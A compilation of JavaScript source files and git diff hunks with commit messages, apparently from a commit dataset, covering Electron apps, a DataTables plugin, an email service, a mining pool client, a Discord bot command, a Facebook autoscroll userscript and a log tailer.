'height': mainWindowState.height, 'preload': path.resolve(path.join(__dirname, 'preload.js')), 'web-preferences': { 'web-security': false } }); if (mainWindowState.isMaximized) { win.maximize(); } if (env.name === 'development') { devHelper.setDevMenu(); win.openDevTools(); } return win; } function appReady() { let appWindow; appWindow = initWindow(); appWindow.hide(); appWindow.webContents.on('did-finish-load', function() { //prevent flicker workaround mainWindow.setAlwaysOnTop(true); appWindow.show(); setTimeout(function() { mainWindow.close(); }, 100); }); mainWindow = initWindow(); mainWindow.loadUrl(INDEX); tray.createAppTray(mainWindow); tray.bindOnQuit(onQuitApp); appWindow.on('close', function(event) { if (!flagQuitApp) { flagQuitApp = true; tray.destroy(); } }); appWindow.on('closed', function(event) { appWindow = null; }); mainWindow.on('close', function(event) { if (mainWindow !== null && !flagQuitApp) { tray.minimizeMainWindow(); event.preventDefault(); } else { mainWindowState.saveState(mainWindow); if (appWindow) { appWindow.close(); } } }); mainWindow.on('closed', function() { mainWindow = null; }); mainWindow.webContents.on('did-finish-load', function() { mainWindow.show(); }); mainWindow.webContents.on('new-window', function(ev, url, target) { if (target === '_system') { ev.preventDefault(); require('shell').openExternal(url); } else if (target === '_blank') { ev.preventDefault(); appWindow.loadUrl(url); } }); } function onQuitApp() { if (!flagQuitApp) { flagQuitApp = true; if (mainWindow) { app.quit(); } } } function quit() { if (process.platform !== 'darwin') { app.quit(); } } ipc.on('open-dev', function() { mainWindow.openDevTools(); }); ipc.on('unread-changed', function(event, unread) { let showAlert = (unread !== null && unread !== undefined && unread !== ''); if (process.platform === 'darwin') { app.dock.setBadge(String(unread || '')); } tray.showTrayAlert(showAlert, String(unread)); });
JavaScript
0
@@ -1342,25 +1342,12 @@ ', ' -tray', 'icon-tray +icon .png
a6c1deb9dae8cfb7ea6ec6e732c5f945bcec1521
Use webId var for focus_webview
app/main.js
app/main.js
const { app, BrowserWindow, globalShortcut, ipcMain, Menu } = require('electron') const windowStateKeeper = require('electron-window-state'); let mainWindow; // Main app menu const name = app.getName(); const webviewId = 'overcast_webview'; const appWebsite = 'https://github.com/vitorgalvao/fog/'; const template = [ { label: 'Application', submenu: [ { label: 'About ' + name, role: 'about' }, { type: 'separator' }, { label: 'Hide ' + name, accelerator: 'Command+H', role: 'hide' }, { label: 'Hide Others', accelerator: 'Command+Shift+H', role: 'hideothers' }, { type: 'separator' }, { label: 'Quit', accelerator: 'Command+Q', click: function () { app.quit(); } } ] }, { label: 'Edit', submenu: [ { label: 'Undo', accelerator: 'Command+Z', role: 'undo' }, { label: 'Redo', accelerator: 'Shift+Command+Z', role: 'redo' }, { type: 'separator' }, { label: 'Cut', accelerator: 'Command+X', role: 'cut' }, { label: 'Copy', accelerator: 'Command+C', role: 'copy' }, { label: 'Paste', accelerator: 'Command+V', role: 'paste' }, { label: 'Select All', accelerator: 'Command+A', role: 'selectall' } ] }, { label: 'View', submenu: [ { label: 'Reload', accelerator: 'Command+R', click: function (item, focusedWindow) { if (focusedWindow) focusedWindow.webContents.executeJavaScript('document.getElementById("' + webviewId + '").reload();'); } } ] }, { label: 'Window', role: 'window', submenu: [ { label: 'Minimize', accelerator: 'Command+M', role: 'minimize' }, { label: 'Close', accelerator: 'Command+W', role: 'close' } ] }, { label: 'Help', role: 'help', submenu: [ { label: 'View Website', click: function () { require('electron').shell.openExternal(appWebsite) } }, { type: 'separator' }, { label: 'Open Developer Tools', click: function (item, focusedWindow) { if (focusedWindow) focusedWindow.webContents.executeJavaScript('document.getElementById("' + webviewId + '").openDevTools();'); } } ] } ]; function focus_webview() { mainWindow.webContents.executeJavaScript('document.getElementById("overcast_webview").focus();'); } function get_hostname(url) { if (url.indexOf('://') > -1) { return url.split('/')[2]; } else { return url.split('/')[0]; } } app.on('ready', function () { const min_window_size = [352, 556] // Initial window state const mainWindowState = windowStateKeeper({ defaultWidth: min_window_size[0], defaultHeight: min_window_size[1] }); // Create the browser window. mainWindow = new BrowserWindow({ x: mainWindowState.x, y: mainWindowState.y, width: mainWindowState.width, height: mainWindowState.height, minWidth: min_window_size[0], minHeight: min_window_size[1], titleBarStyle: 'hidden-inset', title: 'Fog', backgroundColor: '#fff', show: false // Avoid initial flash of no content by not showing window on start… }); // … and only showing the window after the DOM is ready on the webview ipcMain.on('page-loaded', function () { mainWindow.show(); }); // Add listeners to check for window maximization and save state mainWindowState.manage(mainWindow); // Load the index.html of the app and focus on webview mainWindow.loadURL('file://' + __dirname + '/index.html'); focus_webview(); // If given an overcast.fm URL as the argument, try to load it const overcast_url = process.argv[1]; if (overcast_url) { if (get_hostname(overcast_url) != 'overcast.fm') throw new Error('Argument needs to be an overcast.fm URL') mainWindow.webContents.executeJavaScript('document.getElementById("overcast_webview").src = "' + overcast_url + '"'); } // Media keys shortcuts globalShortcut.register('MediaPreviousTrack', function () { mainWindow.webContents.send('media_keys', 'seekbackbutton') }); globalShortcut.register('MediaNextTrack', function () { mainWindow.webContents.send('media_keys', 'seekforwardbutton'); }); globalShortcut.register('MediaPlayPause', function () { mainWindow.webContents.send('media_keys', 'playpausebutton'); }); // Set menu Menu.setApplicationMenu(Menu.buildFromTemplate(template)); // Focus on webview when focusing on window, so we can use keyboard shortcuts app.on('browser-window-focus', function () { focus_webview(); }); // Prevent app from exiting (hide it instead) when window is closed (i.e. when we press the red close button) mainWindow.on('close', function (event) { event.preventDefault(); mainWindow.hide(); app.focus(); }); app.on('before-quit', function () { globalShortcut.unregisterAll(); mainWindow.webContents.send('sync_podcast'); // Try to force a sync before closing setTimeout(function () { // Give enough time for the sync attempt to go through app.exit(0); }, 1500); }); app.on('activate', function () { mainWindow.show(); }); });
JavaScript
0
@@ -2184,32 +2184,33 @@ ntById(%22 -overcast_ +' + webview +Id + ' %22).focus
5db3b46e8edcaecccc3e3dd6ab2568bbe4d1f2fb
Fix var error in fnSetFilteringDelay - just a warning, but good to tidy up
api/fnSetFilteringDelay.js
api/fnSetFilteringDelay.js
/** * Enables filtration delay for keeping the browser more responsive while * searching for a longer keyword. * @name fnSetFilteringDelay * @anchor fnSetFilteringDelay * @author <a href="http://www.zygimantas.com/">Zygimantas Berziunas</a>, <a href="http://www.sprymedia.co.uk/">Allan Jardine</a> and <i>vex</i> * * @example * $(document).ready(function() { * $('.dataTable').dataTable().fnSetFilteringDelay(); * } ); */ jQuery.fn.dataTableExt.oApi.fnSetFilteringDelay = function ( oSettings, iDelay ) { var _that = this, iDelay = (typeof iDelay == 'undefined') ? 250 : iDelay; this.each( function ( i ) { $.fn.dataTableExt.iApiIndex = i; var $this = this, oTimerId = null, sPreviousSearch = null, anControl = $( 'input', _that.fnSettings().aanFeatures.f ); anControl.unbind( 'keyup' ).bind( 'keyup', function() { var $$this = $this; if (sPreviousSearch === null || sPreviousSearch != anControl.val()) { window.clearTimeout(oTimerId); sPreviousSearch = anControl.val(); oTimerId = window.setTimeout(function() { $.fn.dataTableExt.iApiIndex = i; _that.fnFilter( anControl.val() ); }, iDelay); } }); return this; } ); return this; };
JavaScript
0
@@ -532,62 +532,33 @@ ) %7B%0A - var%0A _that = this,%0A iDelay = (typeof +%09var _that = this;%0A%0A%09if ( iDe @@ -563,18 +563,18 @@ Delay == += -' undefine @@ -578,37 +578,36 @@ ined -') ? 250 : iDelay;%0A %0A + ) %7B%0A%09%09iDelay = 250;%0A%09%7D%0A%09 %0A%09 this @@ -630,24 +630,18 @@ ( i ) %7B%0A - +%09%09 $.fn.dat @@ -669,32 +669,17 @@ i;%0A - var%0A +%09%09var%0A%09%09%09 $thi @@ -689,28 +689,19 @@ this, %0A - +%09%09%09 oTimerId @@ -710,28 +710,19 @@ null, %0A - +%09%09%09 sPreviou @@ -737,28 +737,19 @@ = null,%0A - +%09%09%09 anContro @@ -804,30 +804,15 @@ );%0A - %0A +%09%09 %0A%09%09%09 anCo @@ -863,28 +863,19 @@ ion() %7B%0A - +%09%09%09 var $$th @@ -888,28 +888,19 @@ this;%0A %0A - +%09%09%09 if (sPre @@ -961,32 +961,20 @@ al()) %7B%0A - +%09%09%09%09 window.c @@ -996,32 +996,20 @@ merId);%0A - +%09%09%09%09 sPreviou @@ -1037,32 +1037,20 @@ al(); %0A - +%09%09%09%09 oTimerId @@ -1083,36 +1083,21 @@ ion() %7B%0A - +%09%09%09%09%09 $.fn.dat @@ -1125,28 +1125,13 @@ i;%0A - +%09%09%09%09%09 _tha @@ -1165,80 +1165,41 @@ );%0A - %7D, iDelay);%0A %7D%0A %7D);%0A %0A +%09%09%09%09%7D, iDelay);%0A%09%09%09%7D%0A%09%09%7D);%0A%09%09 %0A%09%09 retu @@ -1211,21 +1211,15 @@ is;%0A - +%09 %7D );%0A - +%09 retu
0d609e8168c8fac996ab0198941f2d550d35ff6c
use enableEmails flag to determine if emails should be sent.
api/src/services/emails.js
api/src/services/emails.js
import { disallow } from 'feathers-hooks-common' import Email from 'email-templates' import path from 'path' import inky from 'inky' import nunjucks from 'nunjucks' import nodemailer from 'nodemailer' import sparkPostTransport from 'nodemailer-sparkpost-transport' import glob from 'glob' import filterAllowedFields from '../hooks/filterAllowedFields' export const sourceTemplateRoot = path.resolve( __dirname, '..', '..', 'src', 'templates' ) const compiledTemplateRoot = path.resolve( __dirname, '..', '..', 'build', 'templates' ) const compileTemplates = (app) => { glob.sync(path.resolve(sourceTemplateRoot, '**/*.njk')).forEach((file) => { const dirname = path.dirname(file) inky({ src: path.resolve(dirname, '*.njk'), dest: path.resolve( compiledTemplateRoot, path.relative(sourceTemplateRoot, dirname) ), }) }) app.info('Email templates compiled successfully.') } export default (app) => { const options = { ...app.get('mailer'), views: { root: compiledTemplateRoot, options: { extension: 'njk', }, }, juiceResources: { preserveImportant: true, webResources: { relativeTo: sourceTemplateRoot, }, }, } if (options.transport.sparkpost && app.get('enableEmails')) { app.info('activating sparkpost mailer') options.transport = nodemailer.createTransport( sparkPostTransport(options.transport.sparkpost) ) } else { app.info('emails deactivated') } const email = new Email(options) const service = { create: async (data, params) => { if (params.render || !app.get("enableEmails")) { return email.render(data.template, data.locals) } const template = `emails/${data.template}` if (!email.templateExists(`${template}/html`)) { throw new Error(`missing html template for ${data.template}`) } return email.send({ ...data, template }) }, setup: async (a) => { compileTemplates(a) nunjucks.configure(compiledTemplateRoot, {}) }, } app.use('/emails', service) app .service('emails') .hooks({ before: { all: [disallow('external')], create: [], }, after: { all: [], create: [], }, error: { all: [], create: [], }, }) .hooks({ after: { all: [filterAllowedFields], }, }) }
JavaScript
0
@@ -1314,16 +1314,27 @@ Emails') + === 'true' ) %7B%0A @@ -1661,17 +1661,16 @@ %7C%7C -! app.get( %22ena @@ -1665,17 +1665,17 @@ app.get( -%22 +' enableEm @@ -1682,10 +1682,21 @@ ails -%22) +') !== 'true' ) %7B%0A
e24d7a346ce789b7121800498e786721f09614b4
Enable auto-refresh when inviting a participant to an inventory
app/assets/javascripts/client/inventories/InviteInventoryUserCtrl.js
app/assets/javascripts/client/inventories/InviteInventoryUserCtrl.js
(function() { 'use strict'; angular.module('PDRClient') .controller('InviteInventoryUserCtrl', InviteInventoryUserCtrl); InviteInventoryUserCtrl.$inject = [ '$scope', '$stateParams', 'InventoryInvitation' ]; function InviteInventoryUserCtrl($scope, $stateParams, InventoryInvitation) { var vm = this; vm.sendInvitation = function(invitation) { vm.alerts = []; vm.addAlert = function(message) { vm.alerts.push({type: 'danger', msg: message}); }; vm.closeAlert = function(index) { vm.alerts.splice(index, 1); }; InventoryInvitation.create({inventory_id: $stateParams.id}, invitation) .$promise .then(function() { $scope.$emit('invite-sent'); }) .catch(function(response) { var errors = response.data.errors; angular.forEach(errors, function(error, field) { vm.addAlert(field + " : " + error); }); }); }; } })();
JavaScript
0
@@ -759,16 +759,65 @@ sent');%0A + $scope.$emit('update_participants');%0A
6ad7a0008bf0125b4aca4d60ed872adabe3d4508
Fix pool disconnecting
app/pool.js
app/pool.js
// TODO: error handling Pool = function(poolInfo) { this.id = poolInfo.id; this.url = poolInfo.url; this.port = poolInfo.port; this.username = poolInfo.username; this.password = poolInfo.password; this.miner = miner; this._SUBSCRIBE = { id: 1, method: "mining.subscribe", params: ["avalon-nano-app"] }; this._AUTHORIZE = { id: 2, method: "mining.authorize", params: [this.username, this.password], }; }; Pool.prototype.run = function() { var pool = this; chrome.sockets.tcp.create({}, function(createInfo) { pool.socketId = createInfo.socketId; chrome.sockets.tcp.connect(pool.socketId, pool.url, pool.port, function(result) { pool.log("info", "Connected."); pool.upload(pool._SUBSCRIBE); }); }); }; Pool.prototype.disconnect = function() { chrome.sockets.tcp.disconnect(this.socketId); pool.log("info", "Disconnected."); }; Pool.prototype.decode = function(result) { var data = JSON.parse(result); if (data.id === 1) { if (data.error) { this.miner.poolSubscribed = {poolId: this.id, success: false}; this.log("warn", "Subscription Failed."); return false; } this.miner.poolSubscribed = {poolId: this.id, success: true}; this.log("log1", "Subscribed."); this.nonce1 = data.result[data.result.length - 2]; this.nonce2_size = data.result[data.result.length - 1]; if (data.result[0][0][0] === 'mining.set_difficulty') this.difficulty = data.result[0][0][1]; this.upload(this._AUTHORIZE); } else if (data.id === 2) { if (data.error) { this.miner.poolAuthorized = {poolId: this.id, success: false}; this.log("warn", "Authorization Failed."); return false; } this.miner.poolAuthorized = {poolId: this.id, success: true}; this.log("log1", "Authorized."); } else if (data.id === 3) { if (data.error) { this.log("warn", "Submission Failed."); return false; } this.log("log2", "Submitted."); } else switch (data.method) { case "mining.set_difficulty": this.difficulty = data.params[-1]; break; case "mining.notify": this.miner.newJob = { poolId: this.id, nonce1: this.nonce1, job_id: data.params[0], prevhash: data.params[1], coinbase1: data.params[2], coinbase2: data.params[3], merkle_branch: data.params[4], version: data.params[5], nbits: data.params[6], ntime: data.params[7], clean_jobs: data.params[8] }; break; } }; Pool.prototype.upload = function(data) { data = JSON.stringify(data); this.log("debug", "Sent: %s", data); data = str2ab(data + "\n"); chrome.sockets.tcp.send(this.socketId, data, function(sendInfo) { //console.log(sendInfo); }); }; Pool.prototype.download = function(info) { var results = ab2str(info.data).split("\n"); for (var i = 0; i < results.length - 1; i++) { this.log("debug", "Received: %s", results[i]); this.decode(results[i]); } }; Pool.prototype.log = function(level) { var args = Array.prototype.slice.call(arguments); switch (level) { case "error": args[0] = "[POOL %d] " + arguments[1]; args[1] = this.id; console.error.apply(console, args); break; case "warn": args[0] = "[POOL %d] " + arguments[1]; args[1] = this.id; console.warn.apply(console, args); break; case "info": args[0] = "[POOL %d] " + arguments[1]; args[1] = this.id; console.info.apply(console, args); break; case "log1": args.unshift("%c[POOL %d] " + arguments[1]); args[1] = POOL_LOG1_STYLE; args[2] = this.id; console.log.apply(console, args); break; case "log2": args.unshift("%c[POOL %d] " + arguments[1]); args[1] = POOL_LOG2_STYLE; args[2] = this.id; console.log.apply(console, args); break; case "debug": args.unshift("%c[POOL %d] " + arguments[1]); args[1] = POOL_DEBUG_STYLE; args[2] = this.id; console.debug.apply(console, args); break; default: break; } };
JavaScript
0
@@ -775,16 +775,53 @@ ion() %7B%0A +%09if (this.socketId !== undefined) %7B%0A%09 %09chrome. @@ -860,20 +860,21 @@ etId);%0A%09 -pool +%09this .log(%22in @@ -896,16 +896,19 @@ ted.%22);%0A +%09%7D%0A %7D;%0A%0APool
c8f2dc71306d807805fa9a23b28bcc93bc7619ec
update class to className (#877)
src/components/Breadcrumb/Breadcrumb.Skeleton.js
src/components/Breadcrumb/Breadcrumb.Skeleton.js
import React from 'react'; export default class BreadcrumbSkeleton extends React.Component { render() { const item = ( <div className="bx--breadcrumb-item"> <a href="/#" class="bx--link"> &nbsp; </a> </div> ); return ( <div className="bx--breadcrumb bx--skeleton"> {item} {item} {item} </div> ); } }
JavaScript
0
@@ -189,16 +189,20 @@ #%22 class +Name =%22bx--li
fe59143d9fecc328c87f4920789e3a5432bf0e71
Modify announcements data
app/javascript/mastodon/features/compose/components/announcements.js
app/javascript/mastodon/features/compose/components/announcements.js
import React from 'react'; import Immutable from 'immutable'; import ImmutablePropTypes from 'react-immutable-proptypes'; import IconButton from '../../../components/icon_button'; const storageKey = 'announcements_dismissed'; class Announcements extends React.PureComponent { static propTypes = { account: ImmutablePropTypes.map.isRequired, }; componentDidUpdate (prevProps, prevState) { if (prevState.dismissed !== this.state.dismissed) { try { localStorage.setItem(storageKey, JSON.stringify(this.state.dismissed)); } catch (e) {} } } componentWillMount () { try { const dismissed = JSON.parse(localStorage.getItem(storageKey)); this.state = { dismissed: Array.isArray(dismissed) ? dismissed : [] }; } catch (e) { this.state = { dismissed: [] }; } const announcements = []; announcements.push( { id: 1, icon: '/announcements/icon_2x_360.png', body: '8月中旬に土有利古戦場が開催予定、土パ装備特集記事を公開中!', link: [ { inline: false, href: 'http://gran-matome.com/archives/27579', body: '記事を読む', }, ], } // NOTE: id: 6 まで使用した ); this.announcements = Immutable.fromJS(announcements); } handleDismiss = (event) => { const id = +event.currentTarget.getAttribute('title'); if (Number.isInteger(id)) { this.setState({ dismissed: [].concat(this.state.dismissed, id) }); } } render () { return ( <ul className='announcements'> {this.announcements.map(announcement => this.state.dismissed.indexOf(announcement.get('id')) === -1 && ( <li key={announcement.get('id')}> <div className='announcements__icon'> <img src={announcement.get('icon')} alt='' /> </div> <div className='announcements__body'> <div className='announcements__body__dismiss'> <IconButton icon='close' title={`${announcement.get('id')}`} onClick={this.handleDismiss} /> </div> <p>{announcement.get('body')}</p> <p> {announcement.get('link').map((link) => { const classNames = ['announcements__link']; if (link.get('inline')) { classNames.push('announcements__link-inline'); } return ( <a className={classNames.join(' ')} key={link.get('href')} href={link.get('href')} target='_blank'> {link.get('body')} </a> ); })} </p> </div> </li> ))} </ul> ); } }; export default Announcements;
JavaScript
0.000001
@@ -1160,16 +1160,290 @@ %5D,%0A + %7D,%0A %7B%0A id: 7,%0A icon: '/announcements/info_03.png',%0A body: '%E3%82%84%E3%82%8B%E3%81%93%E3%81%A8%E8%BF%B7%E3%81%A3%E3%81%9F%E3%82%89%E3%81%BE%E3%81%9A%E7%A2%BA%E8%AA%8D%EF%BC%81%E5%A4%8F%E3%81%AE%E5%8D%8A%E9%A1%8D%E7%89%B9%E9%9B%86',%0A link: %5B%0A %7B%0A inline: false,%0A href: 'http://gran-matome.com/page-27913',%0A body: '%E8%A8%98%E4%BA%8B%E3%82%92%E8%AA%AD%E3%82%80',%0A %7D,%0A %5D,%0A %7D%0A @@ -1461,17 +1461,17 @@ TE: id: -6 +7 %E3%81%BE%E3%81%A7%E4%BD%BF%E7%94%A8%E3%81%97%E3%81%9F%0A
5cda20965c86fde4dc6dee86393e27a6128db527
Fix ESLint errors in FormSummary
src/components/form/form-summary/form-summary.js
src/components/form/form-summary/form-summary.js
import React from 'react'; import I18n from 'i18n-js'; import classNames from 'classnames'; import PropTypes from 'prop-types'; import tagComponent from '../../../utils/helpers/tags'; import Icon from './../../icon'; /** * Adds an 's' to pluralise (keys will always be error or warning) * * @param {string} key * @return {string} pluralized key */ const pluralize = (key) => { return `${key}s`; }; /** * decides whether the warning message should be appended to the sentence or output as a sentence on it's own * * @param {object} props * @param {string} key * @return {boolean} true if the warning message needs to be appended */ const warningAppend = (props, key) => { return props.errors > 0 && props.warnings > 0 && key === 'warning'; }; /** * finds the correct translation key * * @param {object} props * @param {string} key * @return {string} correct key */ const translationKey = (props, key) => { return warningAppend(props, key) ? 'errors_and_warnings' : pluralize(key); }; /** * Returns the default translation set * * @param {number} errorCount * @param {number} warningCount * @return {object} default translations */ const defaultTranslations = (errorCount, warningCount) => { return { errors: { defaultValue: { one: `There is ${errorCount} error`, other: `There are ${errorCount} errors` }, count: parseInt(errorCount, 10) }, warnings: { defaultValue: { one: `There is ${warningCount} warning`, other: `There are ${warningCount} warnings` }, count: parseInt(warningCount, 10) }, errors_and_warnings: { defaultValue: { one: `and ${warningCount} warning`, other: `and ${warningCount} warnings` }, count: parseInt(warningCount, 10) } }; }; /** * gets the correct translation * * @param {object} props * @param {string} key * @return {string} correct translation */ const translation = (props, key) => { const parsedKey = translationKey(props, key); const defaultTranslation = defaultTranslations(props.errors, props.warnings)[parsedKey], location = `errors.messages.form_summary.${parsedKey}`; return I18n.t(location, defaultTranslation); }; /** * builds a summary in JSX * * @param {object} props * @param {string} key * @return {JSX} */ const summary = (props, key) => { if (props[pluralize(key)] > 0) { return ( <span className={ `carbon-form-summary__summary carbon-form-summary__${key}-summary` }> <Icon className='carbon-form-summary__icon' type={ key } /> <span className='carbon-form-summary__text' data-element={ pluralize(key) } dangerouslySetInnerHTML={ { __html: translation(props, key) } } /> </span> ); } return null; }; const summaryClasses = (props) => { return classNames( 'carbon-form-summary', 'carbon-form-save', { 'carbon-form-save--invalid': props.errors || props.warnings } ); }; const FormSummary = props => <div className={ summaryClasses(props) } { ...tagComponent('form-summary', props) }> { summary(props, 'error') } { summary(props, 'warning') } { props.children } </div> ; FormSummary.propTypes = { children: PropTypes.node, errors: PropTypes.oneOfType([ PropTypes.string, PropTypes.number ]), warnings: PropTypes.oneOfType([ PropTypes.string, PropTypes.number ]) }; export default FormSummary;
JavaScript
0
@@ -2755,16 +2755,55 @@ key) %7D %7D + // eslint-disable-line react/no-danger %0A @@ -3335,32 +3335,82 @@ ypes.oneOfType(%5B + // eslint-disable-line react/no-unused-prop-types %0A PropTypes.s @@ -3476,16 +3476,66 @@ OfType(%5B + // eslint-disable-line react/no-unused-prop-types %0A Pro
fefb289a03d126bb2b3be4eee32337cea370bc35
version 1.17 autoscroll with 7 access per day
I/autoscroll.user.js
I/autoscroll.user.js
// ==UserScript== // @name autoscroll // @namespace autoscroll // @version 1.16 // @description autoscroller to be used with https://facebook.tracking.exposed, This userscript works with TamperMoneky extension. // @author Claudio Agosti @_vecna // @match https://www.facebook.com/* // @connect autoscroll // @grant GM_setValue // @grant GM_getValue // @require https://cdnjs.cloudflare.com/ajax/libs/lodash-compat/3.10.2/lodash.min.js // @require https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.13.0/moment.min.js // ==/UserScript== var SCROLL_TIMES = 30; var AWAITSECS = 5; var fixedH = 800; var plan = [ "08:01", "16:01", "23:55" ]; function timeline(reference) { if(!reference) { var s = GM_getValue("scrolling"); if(s && moment(s).add(50, 's').isBefore(moment())) { console.log("a previous scroll interrupted?"); } if(s && moment(s).add(50, 's').isAfter(moment())) { return; } console.log("setting GM_setValue 'scrolling'", moment().format() ); GM_setValue("scrolling", moment().format()); reference = { counter: 0, y: 0, }; } if(reference.counter === SCROLL_TIMES) { var s = GM_getValue("scrolling"); console.log("Timeline counter reach", SCROLL_TIMES); if(s) { console.log(s, "'scrolling': is present, -> doTheNext, removing GM_[scrolling]", s); GM_setValue("scrolling", null); return _.delay(doTheNext, 1); } else { console.log("GM_[scrolling] is null", s, "killed ramification"); } } else { reference.counter += 1; reference.y = reference.counter * fixedH; GM_setValue("scrolling", moment().format()); console.log("scrolling", reference.counter, "at", moment().format("HH:mm:ss"), "a the Y", reference.y); scrollTo(0, reference.y); return _.delay(timeline, AWAITSECS * 1000, reference); } } function doTheNext() { /* this is not anymore timezone robust, it is intended to be run in the right place */ var next = null; _.each(plan, function(t) { var hour = _.parseInt(t.split(':')[0]); var minute = _.parseInt(t.split(':')[1]); var target = moment().startOf('day').add(hour, 'h').add(minute, 'm'); if(!next && moment().isBefore( target ) ) { console.log("The next refresh will be at", t); next = moment.duration(target - moment()).asSeconds(); } }); if(!next) { console.log("strange condition before midnight, check in 1 hour"); GM_setValue("refresh", true); return _.delay(doTheNext, 3600 * 1000); } else { console.log("Setting the next timeline in", next, "seconds"); GM_setValue("refresh", true); return _.delay(cleanAndReload, next * 1000); } }; function cleanAndReload() { GM_setValue("scrolling", null); // this value 'refresh' is not used because remain dirty in case a browser restart GM_setValue("refresh", null); location.reload(); }; (function() { var s = GM_getValue("scrolling"); if( s && moment(s).add(50, 's').isBefore(moment())) { console.log("Considering the diff of", moment.duration(moment() - moment(s)).humanize(), "..."); timeline(); } else if(!s) { var r = GM_getValue("refresh"); console.log("beginning tampermonkey, scrolling", s, "refresh", r); timeline(); } else console.log("Nope, recorded is", moment(s).format("HH:mm:ss"), "now is:", moment().format("HH:mm:ss")); })();
JavaScript
0
@@ -87,17 +87,17 @@ 1.1 -6 +7 %0A// @des @@ -686,25 +686,77 @@ %221 -6:01%22,%0A %2223:55 +0:01%22,%0A %2212:01%22,%0A %2214:01%22,%0A %2216:01%22,%0A %2218:01%22,%0A %2220:01 %22%0A%5D;
74d878af88fca19ddbfb9e1a7309f439ca359bd5
Add --verbose to tail.js
app/tail.js
app/tail.js
#!/usr/bin/env node /** * `tail` source files listed in app/config.js. * * Usage: * - To use config/config.js source list: app/tail.js * - To use external source list: app/tail.js path/to/config.js * * process.send() is occasionally used to coordinate flow with test scripts. */ 'use strict'; (function() { var program = require('commander'); program .option('-c, --config <file>', '/path/to/config.js', null) .option('-t, --test <#>', 'Exit after # expected lines for unit tests', Number, 0) .option('-q, --quiet', false) .parse(process.argv); require(__dirname + '/modules/diana.js'); var spawn = require('child_process').spawn, config = diana.getConfig(program.config), parsers = diana.requireModule('parsers/parsers'), procLog = diana.createUtilogger('tail.js'); // To support maximum line count for --test. var lineCount = 0; /** * Configure the monitor. */ var Monitor = function(source) { // Log source attribute object from config/app.js 'sources' list. this.source = _.clone(source); // ChildProcess object. this.tail = null; if (!program.quiet) { this.log = diana.createUtilogger(this.source.path); } }; /** * Start a new `tail` instance and attach event handlers. */ Monitor.prototype.start = function() { this.log('spawning tail'); this.tail = spawn('tail', ['--bytes=0', '-F', this.source.path]); var monitor = this; this.tail.stdout.on('data', function(data) { var lines = data.toString().replace(/\n$/, '').split("\n"); lineCount += lines.length; parsers.parseAndInsert({source: monitor.source, lines: lines}, function() { // Support maximum line count for --test. if (program.test > 0 && lineCount >= program.test) { process.exit(); } }, true); }); this.tail.on('exit', function(code, signal) { monitor.log("tail exited with code %d, signal %s", code, signal); // Auto-restart. monitor.start(); if (program.test) { process.send('MONITOR_RESTART'); } }); // Kill `tail` before parent process exits. var killTail = function() { process.removeListener('END_MONITOR', killTail); if (monitor.tail) { monitor.log('killing ...'); monitor.tail.kill('SIGKILL'); monitor.log('killed'); monitor.tail = null; } if (program.test) { if (!process.listeners('END_MONITOR').length) { process.send('MONITORS_ENDED'); } } }; process.on('END_MONITOR', killTail); this.log('pid %d', this.tail.pid); }; /** * Send a formatted message to stdout. Prepend the timestamp and source path. * * Accepts util.format() arguments. */ Monitor.prototype.log = function() { if (program.quiet) { return; } this.log.apply(null, arguments); }; /** * Seed initial `tail` set based on config/app.js 'sources' list. */ var startAllMonitors = function() { _.each(config.sources, function(source) { (new Monitor(source)).start(); }); }; /** * Trigger monitors to clean up their `tail` instances. */ var endAllMonitors = function() { process.emit('END_MONITOR'); }; process.on('exit', endAllMonitors); process.on('SIGINT', function() { procLog('SIGINT received'); process.exit(); }); process.on('SIGTERM', function() { procLog('SIGTERM received'); process.exit(); }); process.on('uncaughtException', function(err) { procLog('uncaught exception: %s', err.stack ? err.stack : ''); process.exit(); }); // Test mode -- wait until instructed by parent process. if (program.test) { process.on('message', function(message) { if ('START_TEST' == message) { startAllMonitors(); process.send('MONITORS_STARTED'); } }); // Normal mode -- start immediately. } else { startAllMonitors(); } })();
JavaScript
0.000018
@@ -538,15 +538,37 @@ iet' -, fal +)%0A .option('-v, --verbo se +' )%0A @@ -1624,16 +1624,131 @@ ength;%0A%0A + if (program.verbose) %7B%0A monitor.log('data=%5B%25s%5D length=%7B%25d%5D', data.toString(), lines.length);%0A %7D%0A%0A pa
a760735e8ba3b55cb96063c56de83a8a89132d62
fix missing .cache
src/commands/Command.js
src/commands/Command.js
const Commando = require('discord.js-commando') module.exports = class Command extends Commando.Command { constructor (client, info) { info.group = 'rover' info.guildOnly = info.guildOnly == null ? true : info.guildOnly info.memberName = info.name info.argsPromptLimit = 1 super(client, info) this.properName = info.properName this.userPermissions = info.userPermissions || ['MANAGE_GUILD'] this.discordBot = this.client.discordBot } hasPermission (msg) { return this.client.isOwner(msg.author) || !msg.guild || msg.member.hasPermission(this.userPermissions) || msg.member.roles.find(role => role.name === 'RoVer Admin') } async run (msg, args, pattern) { this.server = msg.guild && await this.discordBot.getServer(msg.guild.id) return this.fn(msg, args, pattern) } }
JavaScript
0.000009
@@ -618,16 +618,22 @@ r.roles. +cache. find(rol
3ad4e6ee6064f18e42ce6df8631653b235d7c058
Fix work count bug
app/util.js
app/util.js
const sanitizeHtml = require('sanitize-html') const sanitizeOpts = require('./sanitizeOpts') const loadingImg = require('./loadingImg') const equationImageSelector = 'img[src^="/math.svg"]' const SCREENSHOT_LIMIT_ERROR = () => new Bacon.Error('Screenshot limit reached!') module.exports = { isKey, isCtrlKey, insertToTextAreaAtCursor, persistInlineImages, sanitize, sanitizeContent, setCursorAfter, equationImageSelector, totalImageCount, SCREENSHOT_LIMIT_ERROR, existingScreenshotCount } function convertLinksToRelative(html) { return html.replace(new RegExp(document.location.origin, 'g'), '') } function sanitize(html) { return sanitizeHtml(convertLinksToRelative(html), sanitizeOpts) } function insertToTextAreaAtCursor(field, value) { const startPos = field.selectionStart const endPos = field.selectionEnd let oldValue = field.value field.value = oldValue.substring(0, startPos) + value + oldValue.substring(endPos, oldValue.length) field.selectionStart = field.selectionEnd = startPos + value.length } function decodeBase64Image(dataString) { if (!dataString) return null const matches = dataString.match(/^data:([A-Za-z-+\/]+);base64,(.+)$/) if (matches.length !== 3) { return null } return { type: matches[1], data: new Buffer(matches[2], 'base64') } } function isKey(e, key) { return preventIfTrue(e, !e.altKey && !e.shiftKey && !e.ctrlKey && keyOrKeyCode(e, key))} function isCtrlKey(e, key) { return preventIfTrue(e, !e.altKey && !e.shiftKey && e.ctrlKey && keyOrKeyCode(e, key))} function keyOrKeyCode(e, val) { return typeof val === 'string' ? e.key === val : 